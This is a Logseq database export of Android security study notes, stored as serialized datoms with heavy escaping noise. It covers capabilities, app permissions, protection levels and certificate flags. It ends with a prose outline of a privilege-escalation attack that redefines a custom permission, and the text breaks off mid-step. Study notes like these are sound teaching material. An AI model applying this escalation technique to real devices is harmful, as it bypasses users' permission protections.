easylogseq____&quot;,536871290]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Flogseq____&quot;,350,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Xlogseq____&quot;,37,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Vlogseq____&quot;,57,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871290]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84392-2704-4310-9016-83e8e39aba31logseq____&quot;,536871283]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Delegation is easy: pass capabilities *at runtime* (via *monitor-controlled channel*)logseq____&quot;,536871315]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Flogseq____&quot;,349,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Xlogseq____&quot;,37,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Vlogseq____&quot;,58,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ulogseq____&quot;,2,536871294]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ulogseq____&quot;,37,536871294]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ulogseq____&quot;,38,536871294]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871315]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b843a1-089b-417c-815d-e5b7b3e1de97logseq____&quot;,536871293]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Revocation is hard: possible, but overhead, e.g., bookkeeping via delegation chainslogseq____&quot;,536871364]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Flogseq____&quot;,352,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Xlogseq____&quot;,37,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Vlogseq____&quot;,58,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ulogseq____&quot;,2,536871319]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ulogseq____&quot;,37,536871319]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ulogseq____&quot;,38,536871319]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871364]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b843d0-a76d-4bc7-aa53-8c9f7e4a7373logseq____&quot;,536871318]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Klogseq____&quot;,1740129304099,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871373]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^@logseq____&quot;,false,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;permissionslogseq____&quot;,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^11logseq____&quot;,logseq____&quot;Permissionslogseq____&quot;,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Blogseq____&quot;,1740215678157,536874659]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-c4c1-4ffa-851c-a439cddf28cdlogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #security-architecturelogseq____&quot;,536871379]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^@logseq____&quot;,false,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Flogseq____&quot;,354,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Xlogseq____&quot;,354,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Vlogseq____&quot;,354,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ulogseq____&quot;,2,536871380]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ulogseq____&quot;,38,536871380]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ulogseq____&quot;,354,536871380]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Hlogseq____&quot;,2,536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Hlogseq____&quot;,38,536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84418-fac8-49bc-95ce-5ee0e9773ff6logseq____&quot;,536871374]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions as *access rights*/*privileges* in Androidlogseq____&apos;s application frameworklogseq____&quot;,536871413]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^@logseq____&quot;,false,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Flogseq____&quot;,355,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Xlogseq____&quot;,354,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Vlogseq____&quot;,355,536871386]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ulogseq____&quot;,2,536871387]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ulogseq____&quot;,38,536871387]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ulogseq____&quot;,354,536871387]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844af-cda0-4dae-97f2-f26325145cbclogseq____&quot;,536871384]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;$logseq____&gt; 140$ default permissionslogseq____&quot;,536871432]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^@logseq____&quot;,false,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Flogseq____&quot;,357,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Xlogseq____&quot;,354,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Vlogseq____&quot;,355,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ulogseq____&quot;,2,536871415]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ulogseq____&quot;,38,536871415]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ulogseq____&quot;,354,536871415]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844ca-d587-4b3f-9f6d-8348dc7f5a5flogseq____&quot;,536871414]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions are *assigned to sandboxes*, i.e., *UID*slogseq____&quot;,536871460]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^@logseq____&quot;,false,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Flogseq____&quot;,358,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Xlogseq____&quot;,354,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Vlogseq____&quot;,355,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ulogseq____&quot;,2,536871436]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ulogseq____&quot;,38,536871436]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ulogseq____&quot;,354,536871436]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844e1-6ea7-46be-bf79-6b778dda531alogseq____&quot;,536871435]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Developers can define custom permissions, e.g., for exportet componentslogseq____&quot;,536871489]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^@logseq____&quot;,false,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Flogseq____&quot;,480,536873242]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Xlogseq____&quot;,354,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Vlogseq____&quot;,355,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ulogseq____&quot;,2,536871464]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ulogseq____&quot;,38,536871464]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ulogseq____&quot;,354,536871464]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844f9-c3e8-4916-9285-05a50b6fb43blogseq____&quot;,536871463]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specified in the [application manifest](((67b84538-73b2-4c51-90af-1b08f4e95071)))logseq____&quot;,536871627]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^@logseq____&quot;,false,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Flogseq____&quot;,360,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Xlogseq____&quot;,354,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Vlogseq____&quot;,355,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,2,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,38,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,354,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,362,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Hlogseq____&quot;,362,536873242]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84504-2395-4c0a-abcf-f2e3075f664alogseq____&quot;,536871480]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Permissions\\nid:: 67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;,536871596]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871494]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Flogseq____&quot;,92,536871498]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Xlogseq____&quot;,28,536871494]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Vlogseq____&quot;,90,536871498]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ulogseq____&quot;,2,536871495]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ulogseq____&quot;,24,536871495]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ulogseq____&quot;,28,536871495]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873236]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536873236]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;],536873236]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;,536871494]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions can be requested, e.g,. `logseq____&lt;uses-permission android:name=\\logseq____&quot;android.permission.READ_CONTACTS\\logseq____&quot;logseq____&gt;logseq____&lt;/uses-permissionlogseq____&gt;`logseq____&quot;,536871533]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871501]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Flogseq____&quot;,362,536871501]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Xlogseq____&quot;,28,536871501]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Vlogseq____&quot;,362,536871503]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ulogseq____&quot;,2,536871597]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ulogseq____&quot;,24,536871597]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ulogseq____&quot;,28,536871597]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84541-ab6a-44b9-8b98-7f1252c7d841logseq____&quot;,536871501]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Protect own, exported services via custom permissions (have to be defined in `permission` block and then referenced in the `service` blocklogseq____&quot;,536871584]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Flogseq____&quot;,363,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Xlogseq____&quot;,28,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Vlogseq____&quot;,362,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ulogseq____&quot;,2,536871597]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ulogseq____&quot;,24,536871597]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ulogseq____&quot;,28,536871597]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84570-3af3-4d56-bb90-ec44185f1e67logseq____&quot;,536871529]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Protection Levels #card #security-architecturelogseq____&quot;,536871644]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871633]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^@logseq____&quot;,false,536871633]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Flogseq____&quot;,355,536871635]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Xlogseq____&quot;,354,536871633]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Vlogseq____&quot;,354,536871635]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ulogseq____&quot;,2,536871645]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ulogseq____&quot;,38,536871645]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ulogseq____&quot;,354,536871645]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Hlogseq____&quot;,2,536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Hlogseq____&quot;,38,536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8464f-b477-4726-bece-a8be8f7a1a12logseq____&quot;,536871633]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Normal*(default): low-risk permission, i.e., *no danger* to the system integrity or end-user; does not require end-user approvallogseq____&quot;,536871742]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^@logseq____&quot;,false,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Flogseq____&quot;,367,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Xlogseq____&quot;,354,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Vlogseq____&quot;,367,536871646]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ulogseq____&quot;,2,536871647]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ulogseq____&quot;,38,536871647]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ulogseq____&quot;,354,536871647]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84659-fba7-4ae7-a7b2-82f8230eb6balogseq____&quot;,536871644]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Dangerous*: Access to *system integrity*/*privacy* *compromising* functions/data (user has to grant approval)logseq____&quot;,536871757]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^@logseq____&quot;,false,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Flogseq____&quot;,368,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Xlogseq____&quot;,354,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Vlogseq____&quot;,367,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ulogseq____&quot;,2,536871677]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ulogseq____&quot;,38,536871677]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ulogseq____&quot;,354,536871677]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8469b-9a46-417f-aff3-b05115cd63adlogseq____&quot;,536871676]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Signature*: Requesting and permission defining application have to be signed using the *same developer certificate* (no end-user approval)logseq____&quot;,536871836]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^@logseq____&quot;,false,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Flogseq____&quot;,369,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Xlogseq____&quot;,354,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Vlogseq____&quot;,367,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ulogseq____&quot;,2,536871761]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ulogseq____&quot;,38,536871761]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ulogseq____&quot;,354,536871761]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b846de-e2b8-4e3a-80b7-94ae1be32d8elogseq____&quot;,536871760]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Privilege Escalation on Earlier Android Versionslogseq____&quot;,536871921]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871837]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^@logseq____&quot;,false,536871837]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Flogseq____&quot;,367,536871843]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Xlogseq____&quot;,354,536871837]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Vlogseq____&quot;,354,536871843]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Ulogseq____&quot;,354,536871844]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8472e-0f28-48ec-8c5f-267649818c08logseq____&quot;,536871837]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`knownSigner` flag (logseq____&gt;= Android 12): relaxes signatures to any *known certificate*logseq____&quot;,536871875]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^@logseq____&quot;,false,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Flogseq____&quot;,370,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Xlogseq____&quot;,354,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Vlogseq____&quot;,370,536871849]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ulogseq____&quot;,2,536871848]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ulogseq____&quot;,38,536871848]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ulogseq____&quot;,354,536871848]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8480e-36af-4405-9de6-836593925e29logseq____&quot;,536871847]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`knownCerts`attribute refers to explicit signing certifiacelogseq____&quot;,536871906]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^@logseq____&quot;,false,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Flogseq____&quot;,372,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Xlogseq____&quot;,354,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Vlogseq____&quot;,370,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ulogseq____&quot;,2,536871879]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ulogseq____&quot;,38,536871879]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ulogseq____&quot;,354,536871879]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84850-e782-4a25-8ff4-9103d1295163logseq____&quot;,536871878]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Signature verification only during installationlogseq____&quot;,536871937]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^@logseq____&quot;,false,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Flogseq____&quot;,371,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Xlogseq____&quot;,354,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Vlogseq____&quot;,371,536871926]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Ulogseq____&quot;,354,536871925]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8491e-2b84-447e-aae2-7caefe1fccd1logseq____&quot;,536871924]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App1 defines \\logseq____&quot;dangerous\\logseq____&quot; permission (same name as signature permission of victim app)logseq____&quot;,536871972]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^@logseq____&quot;,false,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Flogseq____&quot;,374,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Xlogseq____&quot;,354,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Vlogseq____&quot;,371,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Ulogseq____&quot;,354,536871938]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8493b-1c1e-418d-9479-27511c45d7b1logseq____&quot;,536871937]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App2 requests this permissionlogseq____&quot;,536871982]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^@logseq____&quot;,false,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Flogseq____&quot;,375,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Xlogseq____&quot;,354,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Vlogseq____&quot;,371,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Ulogseq____&quot;,354,536871976]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8495b-f5fe-4493-b253-d593a603f838logseq____&quot;,536871975]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App1 removes permission definitionlogseq____&quot;,536872001]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^@logseq____&quot;,false,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Flogseq____&quot;,376,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Xlogseq____&quot;,354,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Vlogseq____&quot;,371,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Ulogseq____&quot;,354,536871983]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84962-4c2f-4283-8fb6-d51dadc2b5d7logseq____&quot;,536871982]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Install victim 